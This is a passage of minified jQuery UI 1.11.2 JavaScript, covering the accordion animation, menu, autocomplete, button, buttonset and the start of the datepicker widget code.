i=t.newPanel,s=this.prevShow.length?this.prevShow:t.oldPanel;this.prevShow.add(this.prevHide).stop(!0,!0),this.prevShow=i,this.prevHide=s,this.options.animate?this._animate(i,s,t):(s.hide(),i.show(),this._toggleComplete(t)),s.attr({"aria-hidden":"true"}),s.prev().attr("aria-selected","false"),i.length&&s.length?s.prev().attr({tabIndex:-1,"aria-expanded":"false"}):i.length&&this.headers.filter(function(){return 0===e(this).attr("tabIndex")}).attr("tabIndex",-1),i.attr("aria-hidden","false").prev().attr({"aria-selected":"true",tabIndex:0,"aria-expanded":"true"})},_animate:function(e,t,i){var s,n,a,o=this,r=0,h=e.length&&(!t.length||e.index()<t.index()),l=this.options.animate||{},u=h&&l.down||l,d=function(){o._toggleComplete(i)};return"number"==typeof u&&(a=u),"string"==typeof u&&(n=u),n=n||u.easing||l.easing,a=a||u.duration||l.duration,t.length?e.length?(s=e.show().outerHeight(),t.animate(this.hideProps,{duration:a,easing:n,step:function(e,t){t.now=Math.round(e)}}),e.hide().animate(this.showProps,{duration:a,easing:n,complete:d,step:function(e,i){i.now=Math.round(e),"height"!==i.prop?r+=i.now:"content"!==o.options.heightStyle&&(i.now=Math.round(s-t.outerHeight()-r),r=0)}}),void 0):t.animate(this.hideProps,a,n,d):e.animate(this.showProps,a,n,d)},_toggleComplete:function(e){var t=e.oldPanel;t.removeClass("ui-accordion-content-active").prev().removeClass("ui-corner-top").addClass("ui-corner-all"),t.length&&(t.parent()[0].className=t.parent()[0].className),this._trigger("activate",null,e)}}),e.widget("ui.menu",{version:"1.11.2",defaultElement:"<ul>",delay:300,options:{icons:{submenu:"ui-icon-carat-1-e"},items:"> *",menus:"ul",position:{my:"left-1 top",at:"right top"},role:"menu",blur:null,focus:null,select:null},_create:function(){this.activeMenu=this.element,this.mouseHandled=!1,this.element.uniqueId().addClass("ui-menu ui-widget ui-widget-content").toggleClass("ui-menu-icons",!!this.element.find(".ui-icon").length).attr({role:this.options.role,tabIndex:0}),this.options.disabled&&this.element.addClass("ui-state-disabled").attr("aria-disabled","true"),this._on({"mousedown .ui-menu-item":function(e){e.preventDefault()},"click .ui-menu-item":function(t){var i=e(t.target);!this.mouseHandled&&i.not(".ui-state-disabled").length&&(this.select(t),t.isPropagationStopped()||(this.mouseHandled=!0),i.has(".ui-menu").length?this.expand(t):!this.element.is(":focus")&&e(this.document[0].activeElement).closest(".ui-menu").length&&(this.element.trigger("focus",[!0]),this.active&&1===this.active.parents(".ui-menu").length&&clearTimeout(this.timer)))},"mouseenter .ui-menu-item":function(t){if(!this.previousFilter){var i=e(t.currentTarget);i.siblings(".ui-state-active").removeClass("ui-state-active"),this.focus(t,i)
}},mouseleave:"collapseAll","mouseleave .ui-menu":"collapseAll",focus:function(e,t){var i=this.active||this.element.find(this.options.items).eq(0);t||this.focus(e,i)},blur:function(t){this._delay(function(){e.contains(this.element[0],this.document[0].activeElement)||this.collapseAll(t)})},keydown:"_keydown"}),this.refresh(),this._on(this.document,{click:function(e){this._closeOnDocumentClick(e)&&this.collapseAll(e),this.mouseHandled=!1}})},_destroy:function(){this.element.removeAttr("aria-activedescendant").find(".ui-menu").addBack().removeClass("ui-menu ui-widget ui-widget-content ui-menu-icons ui-front").removeAttr("role").removeAttr("tabIndex").removeAttr("aria-labelledby").removeAttr("aria-expanded").removeAttr("aria-hidden").removeAttr("aria-disabled").removeUniqueId().show(),this.element.find(".ui-menu-item").removeClass("ui-menu-item").removeAttr("role").removeAttr("aria-disabled").removeUniqueId().removeClass("ui-state-hover").removeAttr("tabIndex").removeAttr("role").removeAttr("aria-haspopup").children().each(function(){var t=e(this);t.data("ui-menu-submenu-carat")&&t.remove()}),this.element.find(".ui-menu-divider").removeClass("ui-menu-divider ui-widget-content")},_keydown:function(t){var i,s,n,a,o=!0;switch(t.keyCode){case e.ui.keyCode.PAGE_UP:this.previousPage(t);break;case e.ui.keyCode.PAGE_DOWN:this.nextPage(t);break;case e.ui.keyCode.HOME:this._move("first","first",t);break;case e.ui.keyCode.END:this._move("last","last",t);break;case e.ui.keyCode.UP:this.previous(t);break;case e.ui.keyCode.DOWN:this.next(t);break;case e.ui.keyCode.LEFT:this.collapse(t);break;case e.ui.keyCode.RIGHT:this.active&&!this.active.is(".ui-state-disabled")&&this.expand(t);break;case e.ui.keyCode.ENTER:case e.ui.keyCode.SPACE:this._activate(t);break;case e.ui.keyCode.ESCAPE:this.collapse(t);break;default:o=!1,s=this.previousFilter||"",n=String.fromCharCode(t.keyCode),a=!1,clearTimeout(this.filterTimer),n===s?a=!0:n=s+n,i=this._filterMenuItems(n),i=a&&-1!==i.index(this.active.next())?this.active.nextAll(".ui-menu-item"):i,i.length||(n=String.fromCharCode(t.keyCode),i=this._filterMenuItems(n)),i.length?(this.focus(t,i),this.previousFilter=n,this.filterTimer=this._delay(function(){delete this.previousFilter},1e3)):delete this.previousFilter}o&&t.preventDefault()},_activate:function(e){this.active.is(".ui-state-disabled")||(this.active.is("[aria-haspopup='true']")?this.expand(e):this.select(e))},refresh:function(){var t,i,s=this,n=this.options.icons.submenu,a=this.element.find(this.options.menus);this.element.toggleClass("ui-menu-icons",!!this.element.find(".ui-icon").length),a.filter(":not(.ui-menu)").addClass("ui-menu ui-widget ui-widget-content ui-front").hide().attr({role:this.options.role,"aria-hidden":"true","aria-expanded":"false"}).each(function(){var t=e(this),i=t.parent(),s=e("<span>").addClass("ui-menu-icon ui-icon "+n).data("ui-menu-submenu-carat",!0);i.attr("aria-haspopup","true").prepend(s),t.attr("aria-labelledby",i.attr("id"))}),t=a.add(this.element),i=t.find(this.options.items),i.not(".ui-menu-item").each(function(){var t=e(this);s._isDivider(t)&&t.addClass("ui-widget-content ui-menu-divider")}),i.not(".ui-menu-item, .ui-menu-divider").addClass("ui-menu-item").uniqueId().attr({tabIndex:-1,role:this._itemRole()}),i.filter(".ui-state-disabled").attr("aria-disabled","true"),this.active&&!e.contains(this.element[0],this.active[0])&&this.blur()},_itemRole:function(){return{menu:"menuitem",listbox:"option"}[this.options.role]},_setOption:function(e,t){"icons"===e&&this.element.find(".ui-menu-icon").removeClass(this.options.icons.submenu).addClass(t.submenu),"disabled"===e&&this.element.toggleClass("ui-state-disabled",!!t).attr("aria-disabled",t),this._super(e,t)},focus:function(e,t){var i,s;this.blur(e,e&&"focus"===e.type),this._scrollIntoView(t),this.active=t.first(),s=this.active.addClass("ui-state-focus").removeClass("ui-state-active"),this.options.role&&this.element.attr("aria-activedescendant",s.attr("id")),this.active.parent().closest(".ui-menu-item").addClass("ui-state-active"),e&&"keydown"===e.type?this._close():this.timer=this._delay(function(){this._close()},this.delay),i=t.children(".ui-menu"),i.length&&e&&/^mouse/.test(e.type)&&this._startOpening(i),this.activeMenu=t.parent(),this._trigger("focus",e,{item:t})},_scrollIntoView:function(t){var i,s,n,a,o,r;this._hasScroll()&&(i=parseFloat(e.css(this.activeMenu[0],"borderTopWidth"))||0,s=parseFloat(e.css(this.activeMenu[0],"paddingTop"))||0,n=t.offset().top-this.activeMenu.offset().top-i-s,a=this.activeMenu.scrollTop(),o=this.activeMenu.height(),r=t.outerHeight(),0>n?this.activeMenu.scrollTop(a+n):n+r>o&&this.activeMenu.scrollTop(a+n-o+r))},blur:function(e,t){t||clearTimeout(this.timer),this.active&&(this.active.removeClass("ui-state-focus"),this.active=null,this._trigger("blur",e,{item:this.active}))},_startOpening:function(e){clearTimeout(this.timer),"true"===e.attr("aria-hidden")&&(this.timer=this._delay(function(){this._close(),this._open(e)},this.delay))},_open:function(t){var i=e.extend({of:this.active},this.options.position);clearTimeout(this.timer),this.element.find(".ui-menu").not(t.parents(".ui-menu")).hide().attr("aria-hidden","true"),t.show().removeAttr("aria-hidden").attr("aria-expanded","true").position(i)},collapseAll:function(t,i){clearTimeout(this.timer),this.timer=this._delay(function(){var s=i?this.element:e(t&&t.target).closest(this.element.find(".ui-menu"));s.length||(s=this.element),this._close(s),this.blur(t),this.activeMenu=s},this.delay)},_close:function(e){e||(e=this.active?this.active.parent():this.element),e.find(".ui-menu").hide().attr("aria-hidden","true").attr("aria-expanded","false").end().find(".ui-state-active").not(".ui-state-focus").removeClass("ui-state-active")},_closeOnDocumentClick:function(t){return!e(t.target).closest(".ui-menu").length},_isDivider:function(e){return!/[^\-\u2014\u2013\s]/.test(e.text())},collapse:function(e){var t=this.active&&this.active.parent().closest(".ui-menu-item",this.element);t&&t.length&&(this._close(),this.focus(e,t))},expand:function(e){var t=this.active&&this.active.children(".ui-menu ").find(this.options.items).first();t&&t.length&&(this._open(t.parent()),this._delay(function(){this.focus(e,t)}))},next:function(e){this._move("next","first",e)},previous:function(e){this._move("prev","last",e)},isFirstItem:function(){return this.active&&!this.active.prevAll(".ui-menu-item").length},isLastItem:function(){return this.active&&!this.active.nextAll(".ui-menu-item").length},_move:function(e,t,i){var s;this.active&&(s="first"===e||"last"===e?this.active["first"===e?"prevAll":"nextAll"](".ui-menu-item").eq(-1):this.active[e+"All"](".ui-menu-item").eq(0)),s&&s.length&&this.active||(s=this.activeMenu.find(this.options.items)[t]()),this.focus(i,s)},nextPage:function(t){var i,s,n;return this.active?(this.isLastItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.nextAll(".ui-menu-item").each(function(){return i=e(this),0>i.offset().top-s-n}),this.focus(t,i)):this.focus(t,this.activeMenu.find(this.options.items)[this.active?"last":"first"]())),void 0):(this.next(t),void 0)},previousPage:function(t){var i,s,n;return this.active?(this.isFirstItem()||(this._hasScroll()?(s=this.active.offset().top,n=this.element.height(),this.active.prevAll(".ui-menu-item").each(function(){return i=e(this),i.offset().top-s+n>0}),this.focus(t,i)):this.focus(t,this.activeMenu.find(this.options.items).first())),void 0):(this.next(t),void 0)},_hasScroll:function(){return this.element.outerHeight()<this.element.prop("scrollHeight")},select:function(t){this.active=this.active||e(t.target).closest(".ui-menu-item");var i={item:this.active};this.active.has(".ui-menu").length||this.collapseAll(t,!0),this._trigger("select",t,i)},_filterMenuItems:function(t){var i=t.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&"),s=RegExp("^"+i,"i");return this.activeMenu.find(this.options.items).filter(".ui-menu-item").filter(function(){return s.test(e.trim(e(this).text()))})}}),e.widget("ui.autocomplete",{version:"1.11.2",defaultElement:"<input>",options:{appendTo:null,autoFocus:!1,delay:300,minLength:1,position:{my:"left top",at:"left bottom",collision:"none"},source:null,change:null,close:null,focus:null,open:null,response:null,search:null,select:null},requestIndex:0,pending:0,_create:function(){var t,i,s,n=this.element[0].nodeName.toLowerCase(),a="textarea"===n,o="input"===n;this.isMultiLine=a?!0:o?!1:this.element.prop("isContentEditable"),this.valueMethod=this.element[a||o?"val":"text"],this.isNewMenu=!0,this.element.addClass("ui-autocomplete-input").attr("autocomplete","off"),this._on(this.element,{keydown:function(n){if(this.element.prop("readOnly"))return t=!0,s=!0,i=!0,void 0;t=!1,s=!1,i=!1;var a=e.ui.keyCode;switch(n.keyCode){case a.PAGE_UP:t=!0,this._move("previousPage",n);break;case a.PAGE_DOWN:t=!0,this._move("nextPage",n);break;case a.UP:t=!0,this._keyEvent("previous",n);break;case a.DOWN:t=!0,this._keyEvent("next",n);break;case a.ENTER:this.menu.active&&(t=!0,n.preventDefault(),this.menu.select(n));break;case a.TAB:this.menu.active&&this.menu.select(n);break;case a.ESCAPE:this.menu.element.is(":visible")&&(this.isMultiLine||this._value(this.term),this.close(n),n.preventDefault());break;default:i=!0,this._searchTimeout(n)}},keypress:function(s){if(t)return t=!1,(!this.isMultiLine||this.menu.element.is(":visible"))&&s.preventDefault(),void 0;if(!i){var n=e.ui.keyCode;switch(s.keyCode){case n.PAGE_UP:this._move("previousPage",s);break;case n.PAGE_DOWN:this._move("nextPage",s);break;case n.UP:this._keyEvent("previous",s);break;case n.DOWN:this._keyEvent("next",s)}}},input:function(e){return s?(s=!1,e.preventDefault(),void 0):(this._searchTimeout(e),void 0)},focus:function(){this.selectedItem=null,this.previous=this._value()},blur:function(e){return this.cancelBlur?(delete this.cancelBlur,void 0):(clearTimeout(this.searching),this.close(e),this._change(e),void 0)}}),this._initSource(),this.menu=e("<ul>").addClass("ui-autocomplete ui-front").appendTo(this._appendTo()).menu({role:null}).hide().menu("instance"),this._on(this.menu.element,{mousedown:function(t){t.preventDefault(),this.cancelBlur=!0,this._delay(function(){delete this.cancelBlur});var i=this.menu.element[0];e(t.target).closest(".ui-menu-item").length||this._delay(function(){var t=this;this.document.one("mousedown",function(s){s.target===t.element[0]||s.target===i||e.contains(i,s.target)||t.close()})})},menufocus:function(t,i){var s,n;return this.isNewMenu&&(this.isNewMenu=!1,t.originalEvent&&/^mouse/.test(t.originalEvent.type))?(this.menu.blur(),this.document.one("mousemove",function(){e(t.target).trigger(t.originalEvent)}),void 0):(n=i.item.data("ui-autocomplete-item"),!1!==this._trigger("focus",t,{item:n})&&t.originalEvent&&/^key/.test(t.originalEvent.type)&&this._value(n.value),s=i.item.attr("aria-label")||n.value,s&&e.trim(s).length&&(this.liveRegion.children().hide(),e("<div>").text(s).appendTo(this.liveRegion)),void 0)},menuselect:function(e,t){var i=t.item.data("ui-autocomplete-item"),s=this.previous;this.element[0]!==this.document[0].activeElement&&(this.element.focus(),this.previous=s,this._delay(function(){this.previous=s,this.selectedItem=i})),!1!==this._trigger("select",e,{item:i})&&this._value(i.value),this.term=this._value(),this.close(e),this.selectedItem=i}}),this.liveRegion=e("<span>",{role:"status","aria-live":"assertive","aria-relevant":"additions"}).addClass("ui-helper-hidden-accessible").appendTo(this.document[0].body),this._on(this.window,{beforeunload:function(){this.element.removeAttr("autocomplete")}})},_destroy:function(){clearTimeout(this.searching),this.element.removeClass("ui-autocomplete-input").removeAttr("autocomplete"),this.menu.element.remove(),this.liveRegion.remove()},_setOption:function(e,t){this._super(e,t),"source"===e&&this._initSource(),"appendTo"===e&&this.menu.element.appendTo(this._appendTo()),"disabled"===e&&t&&this.xhr&&this.xhr.abort()},_appendTo:function(){var t=this.options.appendTo;return t&&(t=t.jquery||t.nodeType?e(t):this.document.find(t).eq(0)),t&&t[0]||(t=this.element.closest(".ui-front")),t.length||(t=this.document[0].body),t},_initSource:function(){var t,i,s=this;e.isArray(this.options.source)?(t=this.options.source,this.source=function(i,s){s(e.ui.autocomplete.filter(t,i.term))}):"string"==typeof this.options.source?(i=this.options.source,this.source=function(t,n){s.xhr&&s.xhr.abort(),s.xhr=e.ajax({url:i,data:t,dataType:"json",success:function(e){n(e)},error:function(){n([])}})}):this.source=this.options.source},_searchTimeout:function(e){clearTimeout(this.searching),this.searching=this._delay(function(){var t=this.term===this._value(),i=this.menu.element.is(":visible"),s=e.altKey||e.ctrlKey||e.metaKey||e.shiftKey;(!t||t&&!i&&!s)&&(this.selectedItem=null,this.search(null,e))},this.options.delay)},search:function(e,t){return e=null!=e?e:this._value(),this.term=this._value(),e.length<this.options.minLength?this.close(t):this._trigger("search",t)!==!1?this._search(e):void 0},_search:function(e){this.pending++,this.element.addClass("ui-autocomplete-loading"),this.cancelSearch=!1,this.source({term:e},this._response())},_response:function(){var t=++this.requestIndex;return e.proxy(function(e){t===this.requestIndex&&this.__response(e),this.pending--,this.pending||this.element.removeClass("ui-autocomplete-loading")},this)},__response:function(e){e&&(e=this._normalize(e)),this._trigger("response",null,{content:e}),!this.options.disabled&&e&&e.length&&!this.cancelSearch?(this._suggest(e),this._trigger("open")):this._close()},close:function(e){this.cancelSearch=!0,this._close(e)},_close:function(e){this.menu.element.is(":visible")&&(this.menu.element.hide(),this.menu.blur(),this.isNewMenu=!0,this._trigger("close",e))},_change:function(e){this.previous!==this._value()&&this._trigger("change",e,{item:this.selectedItem})},_normalize:function(t){return t.length&&t[0].label&&t[0].value?t:e.map(t,function(t){return"string"==typeof t?{label:t,value:t}:e.extend({},t,{label:t.label||t.value,value:t.value||t.label})})},_suggest:function(t){var i=this.menu.element.empty();this._renderMenu(i,t),this.isNewMenu=!0,this.menu.refresh(),i.show(),this._resizeMenu(),i.position(e.extend({of:this.element},this.options.position)),this.options.autoFocus&&this.menu.next()},_resizeMenu:function(){var e=this.menu.element;e.outerWidth(Math.max(e.width("").outerWidth()+1,this.element.outerWidth()))},_renderMenu:function(t,i){var s=this;e.each(i,function(e,i){s._renderItemData(t,i)})},_renderItemData:function(e,t){return this._renderItem(e,t).data("ui-autocomplete-item",t)},_renderItem:function(t,i){return e("<li>").text(i.label).appendTo(t)},_move:function(e,t){return this.menu.element.is(":visible")?this.menu.isFirstItem()&&/^previous/.test(e)||this.menu.isLastItem()&&/^next/.test(e)?(this.isMultiLine||this._value(this.term),this.menu.blur(),void 0):(this.menu[e](t),void 0):(this.search(null,t),void 0)},widget:function(){return this.menu.element},_value:function(){return this.valueMethod.apply(this.element,arguments)},_keyEvent:function(e,t){(!this.isMultiLine||this.menu.element.is(":visible"))&&(this._move(e,t),t.preventDefault())}}),e.extend(e.ui.autocomplete,{escapeRegex:function(e){return e.replace(/[\-\[\]{}()*+?.,\\\^$|#\s]/g,"\\$&")},filter:function(t,i){var s=RegExp(e.ui.autocomplete.escapeRegex(i),"i");return e.grep(t,function(e){return s.test(e.label||e.value||e)})}}),e.widget("ui.autocomplete",e.ui.autocomplete,{options:{messages:{noResults:"No search results.",results:function(e){return e+(e>1?" results are":" result is")+" available, use up and down arrow keys to navigate."}}},__response:function(t){var i;this._superApply(arguments),this.options.disabled||this.cancelSearch||(i=t&&t.length?this.options.messages.results(t.length):this.options.messages.noResults,this.liveRegion.children().hide(),e("<div>").text(i).appendTo(this.liveRegion))}}),e.ui.autocomplete;var c,p="ui-button ui-widget ui-state-default ui-corner-all",f="ui-button-icons-only ui-button-icon-only ui-button-text-icons ui-button-text-icon-primary ui-button-text-icon-secondary ui-button-text-only",m=function(){var t=e(this);setTimeout(function(){t.find(":ui-button").button("refresh")},1)},g=function(t){var i=t.name,s=t.form,n=e([]);return i&&(i=i.replace(/'/g,"\\'"),n=s?e(s).find("[name='"+i+"'][type=radio]"):e("[name='"+i+"'][type=radio]",t.ownerDocument).filter(function(){return!this.form})),n};e.widget("ui.button",{version:"1.11.2",defaultElement:"<button>",options:{disabled:null,text:!0,label:null,icons:{primary:null,secondary:null}},_create:function(){this.element.closest("form").unbind("reset"+this.eventNamespace).bind("reset"+this.eventNamespace,m),"boolean"!=typeof this.options.disabled?this.options.disabled=!!this.element.prop("disabled"):this.element.prop("disabled",this.options.disabled),this._determineButtonType(),this.hasTitle=!!this.buttonElement.attr("title");var t=this,i=this.options,s="checkbox"===this.type||"radio"===this.type,n=s?"":"ui-state-active";null===i.label&&(i.label="input"===this.type?this.buttonElement.val():this.buttonElement.html()),this._hoverable(this.buttonElement),this.buttonElement.addClass(p).attr("role","button").bind("mouseenter"+this.eventNamespace,function(){i.disabled||this===c&&e(this).addClass("ui-state-active")}).bind("mouseleave"+this.eventNamespace,function(){i.disabled||e(this).removeClass(n)}).bind("click"+this.eventNamespace,function(e){i.disabled&&(e.preventDefault(),e.stopImmediatePropagation())}),this._on({focus:function(){this.buttonElement.addClass("ui-state-focus")},blur:function(){this.buttonElement.removeClass("ui-state-focus")}}),s&&this.element.bind("change"+this.eventNamespace,function(){t.refresh()}),"checkbox"===this.type?this.buttonElement.bind("click"+this.eventNamespace,function(){return i.disabled?!1:void 0}):"radio"===this.type?this.buttonElement.bind("click"+this.eventNamespace,function(){if(i.disabled)return!1;e(this).addClass("ui-state-active"),t.buttonElement.attr("aria-pressed","true");var s=t.element[0];g(s).not(s).map(function(){return e(this).button("widget")[0]}).removeClass("ui-state-active").attr("aria-pressed","false")}):(this.buttonElement.bind("mousedown"+this.eventNamespace,function(){return i.disabled?!1:(e(this).addClass("ui-state-active"),c=this,t.document.one("mouseup",function(){c=null}),void 0)}).bind("mouseup"+this.eventNamespace,function(){return i.disabled?!1:(e(this).removeClass("ui-state-active"),void 0)}).bind("keydown"+this.eventNamespace,function(t){return i.disabled?!1:((t.keyCode===e.ui.keyCode.SPACE||t.keyCode===e.ui.keyCode.ENTER)&&e(this).addClass("ui-state-active"),void 0)}).bind("keyup"+this.eventNamespace+" blur"+this.eventNamespace,function(){e(this).removeClass("ui-state-active")}),this.buttonElement.is("a")&&this.buttonElement.keyup(function(t){t.keyCode===e.ui.keyCode.SPACE&&e(this).click()})),this._setOption("disabled",i.disabled),this._resetButton()},_determineButtonType:function(){var e,t,i;this.type=this.element.is("[type=checkbox]")?"checkbox":this.element.is("[type=radio]")?"radio":this.element.is("input")?"input":"button","checkbox"===this.type||"radio"===this.type?(e=this.element.parents().last(),t="label[for='"+this.element.attr("id")+"']",this.buttonElement=e.find(t),this.buttonElement.length||(e=e.length?e.siblings():this.element.siblings(),this.buttonElement=e.filter(t),this.buttonElement.length||(this.buttonElement=e.find(t))),this.element.addClass("ui-helper-hidden-accessible"),i=this.element.is(":checked"),i&&this.buttonElement.addClass("ui-state-active"),this.buttonElement.prop("aria-pressed",i)):this.buttonElement=this.element},widget:function(){return this.buttonElement},_destroy:function(){this.element.removeClass("ui-helper-hidden-accessible"),this.buttonElement.removeClass(p+" ui-state-active "+f).removeAttr("role").removeAttr("aria-pressed").html(this.buttonElement.find(".ui-button-text").html()),this.hasTitle||this.buttonElement.removeAttr("title")},_setOption:function(e,t){return this._super(e,t),"disabled"===e?(this.widget().toggleClass("ui-state-disabled",!!t),this.element.prop("disabled",!!t),t&&("checkbox"===this.type||"radio"===this.type?this.buttonElement.removeClass("ui-state-focus"):this.buttonElement.removeClass("ui-state-focus ui-state-active")),void 0):(this._resetButton(),void 0)},refresh:function(){var t=this.element.is("input, button")?this.element.is(":disabled"):this.element.hasClass("ui-button-disabled");t!==this.options.disabled&&this._setOption("disabled",t),"radio"===this.type?g(this.element[0]).each(function(){e(this).is(":checked")?e(this).button("widget").addClass("ui-state-active").attr("aria-pressed","true"):e(this).button("widget").removeClass("ui-state-active").attr("aria-pressed","false")}):"checkbox"===this.type&&(this.element.is(":checked")?this.buttonElement.addClass("ui-state-active").attr("aria-pressed","true"):this.buttonElement.removeClass("ui-state-active").attr("aria-pressed","false"))},_resetButton:function(){if("input"===this.type)return this.options.label&&this.element.val(this.options.label),void 0;var t=this.buttonElement.removeClass(f),i=e("<span></span>",this.document[0]).addClass("ui-button-text").html(this.options.label).appendTo(t.empty()).text(),s=this.options.icons,n=s.primary&&s.secondary,a=[];s.primary||s.secondary?(this.options.text&&a.push("ui-button-text-icon"+(n?"s":s.primary?"-primary":"-secondary")),s.primary&&t.prepend("<span class='ui-button-icon-primary ui-icon "+s.primary+"'></span>"),s.secondary&&t.append("<span class='ui-button-icon-secondary ui-icon "+s.secondary+"'></span>"),this.options.text||(a.push(n?"ui-button-icons-only":"ui-button-icon-only"),this.hasTitle||t.attr("title",e.trim(i)))):a.push("ui-button-text-only"),t.addClass(a.join(" "))}}),e.widget("ui.buttonset",{version:"1.11.2",options:{items:"button, input[type=button], input[type=submit], input[type=reset], input[type=checkbox], input[type=radio], a, :data(ui-button)"},_create:function(){this.element.addClass("ui-buttonset")},_init:function(){this.refresh()},_setOption:function(e,t){"disabled"===e&&this.buttons.button("option",e,t),this._super(e,t)},refresh:function(){var t="rtl"===this.element.css("direction"),i=this.element.find(this.options.items),s=i.filter(":ui-button");i.not(":ui-button").button(),s.button("refresh"),this.buttons=i.map(function(){return e(this).button("widget")[0]}).removeClass("ui-corner-all ui-corner-left ui-corner-right").filter(":first").addClass(t?"ui-corner-right":"ui-corner-left").end().filter(":last").addClass(t?"ui-corner-left":"ui-corner-right").end().end()},_destroy:function(){this.element.removeClass("ui-buttonset"),this.buttons.map(function(){return e(this).button("widget")[0]}).removeClass("ui-corner-left ui-corner-right").end().button("destroy")}}),e.ui.button,e.extend(e.ui,{datepicker:{version:"1.11.2"}});var v;e.extend(n.prototype,{markerClassName:"hasDatepicker",maxRows:4,_widgetDatepicker:function(){return this.dpDiv},setDefaults:function(e){return r(this._defaults,e||{}),this},_attachDatepicker:function(t,i){var s,n,a;s=t.nodeName.toLowerCase(),n="div"===s||"span"===s,t.id||(this.uuid+=1,t.id="dp"+this.uuid),a=this._newInst(e(t),n),a.settings=e.extend({},i||{}),"input"===s?this._connectDatepicker(t,a):n&&this._inlineDatepicker(t,a)},_newInst:function(t,i){var s=t[0].id.replace(/([^A-Za-z0-9_\-])/g,"\\\\$1");return{id:s,input:t,selectedDay:0,selectedMonth:0,selectedYear:0,drawMonth:0,drawYear:0,inline:i,dpDiv:i?a(e("<div class='"+this._inlineClass+" ui-datepicker ui-widget ui-widget-content ui-helper-clearfix ui-corner-all'></div>")):this.dpDiv}},_connectDatepicker:function(t,i){var s=e(t);i.append=e([]),i.trigger=e([]),s.hasClass(this.markerClassName)||(this._attachments(s,i),s.addClass(this.markerClassName).keydown(this._doKeyDown).keypress(this._doKeyPress).keyup(this._doKeyUp),this._autoSize(i),e.data(t,"datepicker",i),i.settings.disabled&&this._disableDatepicker(t))},_attachments:function(t,i){var s,n,a,o=this._get(i,"appendText"),r=this._get(i,"isRTL");i.append&&i.append.remove(),o&&(i.append=e("<span class='"+this._appendClass+"'>"+o+"</span>"),t[r?"before":"after"](i.append)),t.unbind("focus",this._showDatepicker),i.trigger&&i.trigger.remove(),s=this._get(i,"showOn"),("focus"===s||"both"===s)&&t.focus(this._showDatepicker),("button"===s||"both"===s)&&(n=this._get(i,"buttonText"),a=this._get(i,"buttonImage"),i.trigger=e(this._get(i,"buttonImageOnly")?e("<img/>").addClass(this._triggerClass).attr({src:a,alt:n,title:n}):e("<button type='button'></button>").addClass(this._triggerClass).html(a?e("<img/>").attr({src:a,alt:n,title:n}):n)),t[r?"before":"after"](i.trigger),i.trigger.click(function(){return e.datepicker._datepickerShowing&&e.datepicker._lastInput===t[0]?e.datepicker._hideDatepicker():e.datepicker._datepickerShowing&&e.datepicker._lastInput!==t[0]?(e.datepicker._hideDatepicker(),e.datepicker._showDatepicker(t[0])):e.datepicker._showDatepicker(t[0]),!1}))},_autoSize:function(e){if(this._get(e,"autoSize")&&!e.inline){var t,i,s,n,a=new Date(2009,11,20),o=this._get(e,"dateFormat");o.match(/[DM]/)&&(t=function(e){for(i=0,s=0,n=0;e.length>n;n++)e[n].length>i&&(i=e[n].length,s=n);return s},a.setMonth(t(this._get(e,o.match(/MM/)?"monthNames":"monthNamesShort"))),a.setDate(t(this._get(e,o.match(/DD/)?"dayNames":"dayNamesShort"))+20-a.getDay())),e.input.attr("size",this._formatDate(e,a).length)}},_inlineDatepicker:function(t,i){var s=e(t);s.hasClass(this.markerClassName)||(s.addClass(this.markerClassName).append(i.dpDiv),e.data(t,"datepicker",i),this._setDate(i,this._getDefaultDate(i),!0),this._updateDatepicker(i),this._updateAlternate(i),i.settings.disabled&&this._disableDatepicker(t),i.dpDiv.css("display","block"))},_dialogDatepicker:function(t,i,s,n,a){var o,h,l,u,d,c=this._dialogInst;return c||(this.uuid+=1,o="dp"+this.uuid,this._dialogInput=e("<input type='text' id='"+o+"' style='position: absolute; top: -100px; width: 0px;'/>"),this._dialogInput.keydown(this._doKeyDown),e("body").append(this._dialogInput),c=this._dialogInst=this._newInst(this._dialogInput,!1),c.settings={},e.data(this._dialogInput[0],"datepicker",c)),r(c.settings,n||{}),i=i&&i.constructor===Date?this._formatDate(c,i):i,this._dialogInput.val(i),this._pos=a?a.length?a:[a.pageX,a.pageY]:null,this._pos||(h=document.documentElement.clientWidth,l=document.documentElement.clientHeight,u=document.documentElement.scrollLeft||document.body.scrollLeft,d=document.documentElement.scrollTop||document.body.scrollTop,this._pos=[h/2-100+u,l/2-150+d]),this._dialogInput.css("left",this._pos[0]+20+"px").css("top",this._pos[1]+"px"),c.settings.onSelect=s,this._inDialog=!0,this.dpDiv.addClass(this._dialogClass),this._showDatepicker(this._dialogInput[0]),e.blockUI&&e.blockUI(this.dpDiv),e.data(this._dialogInput[0],"datepicker",c),this},_destroyDatepicker:function(t){var i,s=e(t),n=e.data(t,"datepicker");s.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),e.removeData(t,"datepicker"),"input"===i?(n.append.remove(),n.trigger.remove(),s.removeClass(this.markerClassName).unbind("focus",this._showDatepicker).unbind("keydown",this._doKeyDown).unbind("keypress",this._doKeyPress).unbind("keyup",this._doKeyUp)):("div"===i||"span"===i)&&s.removeClass(this.markerClassName).empty())},_enableDatepicker:function(t){var i,s,n=e(t),a=e.data(t,"datepicker");n.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),"input"===i?(t.disabled=!1,a.trigger.filter("button").each(function(){this.disabled=!1}).end().filter("img").css({opacity:"1.0",cursor:""})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().removeClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!1)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}))},_disableDatepicker:function(t){var i,s,n=e(t),a=e.data(t,"datepicker");n.hasClass(this.markerClassName)&&(i=t.nodeName.toLowerCase(),"input"===i?(t.disabled=!0,a.trigger.filter("button").each(function(){this.disabled=!0}).end().filter("img").css({opacity:"0.5",cursor:"default"})):("div"===i||"span"===i)&&(s=n.children("."+this._inlineClass),s.children().addClass("ui-state-disabled"),s.find("select.ui-datepicker-month, select.ui-datepicker-year").prop("disabled",!0)),this._disabledInputs=e.map(this._disabledInputs,function(e){return e===t?null:e}),this._disabledInputs[this._disabledInputs.length]=t)},_isDisabledDatepicker:function(e){if(!e)return!1;for(var t=0;this._disabledInputs.length>t;t++)if(this._disabledInputs[t]===e)return!0;return!1},_getInst:function(t){try{return e.data(t,"datepicker")}catch(i){throw"Missing instance data for this datepicker"}},_optionDatepicker:function(t,i,s){var n,a,o,h,l=this._getInst(t);return 